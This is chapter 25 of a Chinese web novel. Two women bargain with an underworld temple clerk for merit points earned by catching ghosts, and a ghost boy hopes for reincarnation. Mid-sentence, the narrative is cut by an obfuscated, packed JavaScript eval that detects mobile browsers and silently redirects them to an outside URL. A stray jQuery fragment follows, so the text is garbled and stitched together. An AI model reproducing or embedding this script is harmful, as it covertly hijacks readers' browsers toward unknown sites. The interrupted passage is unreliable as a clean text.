25. 第 25 章

作品:《听说阴间判官接活人业务啦

    不愧他能当上鬼差,长得就一副很有实力的样子,这也就算了,人家还谦虚,不把话说满,留有余地,值得学习。


    “什么都瞒不过您,我们想知道押着犯人扭送此处能涨多少功德?”陈献午回到功曹面前,急切不失真诚问道。


    也不知道这种行为在阴间属于扶老奶奶过马路的程度呢,还是临危不乱,勇制歹徒程度呢,总得问清楚才能根据功德量判断行为价值。


    当值功曹哑然一瞬,眼珠骨碌一转,心下便有了计较:“功德自是不少,但这也不是自动下放,需得层层上报,经过上面审核才能拨到你头上。”


    陈献午:“?”


    这些当差的怎么回事……总是半吞半吐,说话说一半,吃面没有蒜,好不真诚,大胡子这样,胖无常也这样,多亏面前这位英武功曹,不然她们得做多少白功。


    “大人,是这样的,我有一个朋友。”陈献午指了指江越人,“不是她哈,我这个朋友呢,她是个黑户,如果她想积攒功德的话,该怎么做?需要材料吗?”


    功曹在她俩身上来回扫了两遍,“这好办,把名字和生辰八字报给我,我替她上报。”


    “那怎么好意思,我朋友叫陈献午、江越人。”


    “一个朋友?”


    陈献午不敢看功曹眼睛,“哈哈,没办法,我朋友比较多。”她胳膊肘捣捣江越人,二人分别报了生辰八字。


    “大人,这小鬼您能否将他送去投胎,还有,他父亲车祸去世,不知是否已投胎?”江越人拍拍周健康的瘦小肩膀问道,有阴差帮忙总比跟着她们好,还不让陈献午为难。


    “叫什么?”功曹瞥了小鬼一眼。


    被眼神扫到的小鬼立刻答道:“周健康。”


    “他父亲叫周勇胜。”江越人及时补充。


    “我查查。”功曹点点头,一阵风似的又钻进屋子里。


    三人殷切地盯着雕花木门,都以为下一秒就打开,结果等了三五分钟,这扇门才动。


    功曹走出来不绕弯子,直接道:“芸芸众生,皆以业力牵引,既已亡故,便不存在亲缘,从此生死轮回,各走各路。”


    周健康听得云里雾里,用求助的目光看向陈献午,岂料她站着的地方早已空了,便又投向江越人。


    江越人接收眼神,思考了下怎么才能委婉一点,又能安慰到他,“你爸爸他……可能已经投胎了,就是变成别人家的小孩了。”


    功曹听后也不解释,真真假假没那么重要。


    坐在廊椅上的陈献午冷哼一声,没忍住泼冷水:“那可不一定,投生成猪狗也不是没可能。”


    凭什么他们能顺顺利利投胎,而她又要赶路又要攒功德。


    周健康想象爸爸变成猪的样子,浑身瑟缩了一下,好不容易憋回去的眼泪扑簌簌往下掉,哭声闷在嗓子里不住抽泣。


    江越人无奈地摇摇头,哭吧哭吧,现在哭完,以后就不哭了。


    每次都是江越人代为回答,功曹便直接问江越人:“有路引没?”


    “……没有。”她原存侥幸心理,这个小鬼刚死就被拐走,说不定可以另当别论,得到特殊优待。


    “没有路引投不了,我们城隍庙也不负责投胎事务。”


    江越人对此结果没太大意外,只是尴尬得不知道怎么回答,挖空脑袋只搜寻到四个字,她也就硬着头皮挤出来:“谢谢大人。”


    功曹眉毛一竖,瞪着眼道:“谢我什么,我什么都没做。”


    江越人:“……”谢我自己闲的没事,没话找话。


    气氛凝固,一种名为尴尬的分子正加速运动,却唯独避开了功曹,他仍目光炯炯地在等江越人回答,只是眼皮一沉,看起来像气得不轻的模样。


    江越人被他盯得头皮发麻,默默避开视线,转身欲逃。


    好在陈献午终于从廊椅上抬起屁股过来了,“大人,抓只鬼给我们……我朋友加多少功德啊?”


    话落,她紧闭双眼不愿睁开,露馅了,鬼都送过来了还扯什么朋友,太拙劣了吧。但是!功曹没拆穿,是不是就说明不重要。


    功曹压根没注意她的表情,自顾自盘算该说多少合适,“十……”


    陈献午唰地睁大眼,满脸不可置信,一次就加十个?“这么……”


    “k。”当值功德赶忙补上,“现在谈薪资不都是以千为单位嘛,10k不少了。”


    “不少不少。”陈献午满意地点点头,与时俱进,城隍爷一定是个好领导,如果哪天阴间出问卷调查,她一定给五星好评。


    当值功德悄悄松了口气,还好反应快,一堆长年累月积攒的烂摊子马上就能交出去了,他忍不住夸赞自己简直机智得一匹。


    陈献午对功德的欲望直逼金元宝,她眼中闪烁着奇异的光,眉飞色舞道:“对了,大人,我们昨晚还做了件好事,勇敢阻拦借酒醉欲骚扰别人的贱人,十分敏捷且一点没暴露,成功预防了可能一泻千里,一发不可收拾的祸事。”


    好多一,听得头晕,当值功曹迷迷糊糊听完,在陈献午期许的眼神中,给她比了个大拇指,听说现在夸人都这样。


    陈献午脸瞬间垮了,她想对方可能是没理解自己的潜台词,不死心道:“我们可是劝诫了预备犯迷途知返,遏止住祸端,斩断了源头,这么一大善举,难道不值得添点……”她五指聚拢举到当值功曹面前,大拇指搓了搓。


    早知道不说那么多了,功德也不是这么加的啊,当值功曹扯了扯嘴角:“加,还加10万,呸!”


    陈献午一嗓子嚎起来:“10万!?您就是在世包青天啊!”


    “别别别,可不敢胡说,你这是要我小命啊。”功曹突然惊骇地直摆手,随后双手合十面壁:“不知者捂嘴,莫要怪罪,您大人有大量,别跟小的一般见识,小的绝无造反之心。”


    功曹慌乱的模样倒是让陈献午想起,传闻包大人好像做了阎罗王,他可是十殿阎罗之首,怪不得功曹如此惊惧,她也学着功曹双手合十朝不同方向拜了拜,默念:一时失言,对不起,包大人。


    功曹诚心面壁思过后,方才告诫陈献午:“以后莫要再说这样的话了,被有新鬼听去,告你大不敬,当然,星主他心胸宽广,不会跟你计较,只是不该说的话最好还是别说。”


    陈献午在嘴前拉了个拉链,点


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15062503|160520||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    点头表示一定谨记。


    “还是10k啊。”功曹一脸肉疼地强调道,说快了,早知道少说点了,但是为了不放走送上门的苦力,他抛出更大的诱饵:“抓住主犯的话,好像有三倍功德我记得。”如果干成了这件事,正好也能摸清她们的能力范围。


    陈献午转头窃喜,发现江越人也是很感兴趣的模样,给她递了个眼神,得到示意后便清清嗓子,痛心疾首地握拳捶掌:“主犯怎么能放过呢,不早日将他缉拿归案,还不知有多少幼小的心灵会遭受伤害,我觉得此事,我们俩颇有经验,不如就交给我们吧。”


    功曹为难:“哎呀,这……这是我们的事情,怎么好交予旁人。”


    陈献午十分上道,凑近低声道:“您不说,我们也不说,谁会知道,这样,功德三七分,你三,我们七。”


    功曹本想推辞一二,好叫她们更心甘情愿,哪知还能收回点随口泼出去的功德,要知道,出来混,迟早要还的,能少还一点是一点,他压制嘴角,状似不满意:“不行不行,职责所在,上面要怪罪下来的。”


    陈献午咬咬牙:“你三点五,我们六点五总行了吧。”


    功曹:“???”还能再抠点吗?


    “不是,我们两个人呢,您都占大头了,总得让我们喝点肉汤吧。”


    功曹脸侧咬肌跳动了一下,真没见过这种人,但是没办法,表演还得继续:“这就不是功德的事,行吧行吧,千万不要被别人知道啊。”


    “您就把心放嗓子里吧,我保证,这件事就我们仨知道。”陈献午举了个‘OK’严肃发誓。


    好像有哪里不对劲,心怎么会在嗓子眼,功曹低头想了想,没再纠结,可能是什么新说法,他朝后面的周健康勾了勾下巴:“还有他呢。”


    陈献午顺着他视线看过去,周健康懵懂无知地眨巴着眼睛,她一看就烦躁起来,翻了个白眼不想说话。


    周健康仿佛顶了个锅盖,默默低下头,“我不会乱说的,姐姐。”


    “担不起,我爸对我很好。”陈献午看向别处,神色不悦。


    “对不起,我会很乖的,真的不会告诉别人,爸……大家都说我很乖。”周健康急切地证明自己,奈何不会表达,只能不断重复。


    陈献午默不作声,强制自己冷静下来,不要被情绪左右,半晌调整好问道:“大人,您是同意了吧?”


    功曹只是看着粗犷,他立时感受到微妙的气氛,不再假模假式地拿腔作调,“嗯,抓到主犯还来这找我,我叫倪井十。”


    “等我们好消息。”陈献午勉强扯出一个微笑,说罢径自往外离开。


    江越人赶紧拉着周健康跟上,跑了两步,出于礼貌回头道别:“再见。”刚说完就一溜烟跑了,仿佛身后有洪水猛兽,对她来说也差不多就是猛兽了,她生怕倪井十再问一句,见我干嘛?


    “快跑!试吃会赶不及啦!”


    她刚追出去,就听见陈献午高声催促,于是拽着周健康飘起来,几秒钟就超过了陈献午。


    陈献午看着半空飘过去的人和累赘,单脚一蹬也飘上去,什么时候才能第一时间想起来飞,而不是跑。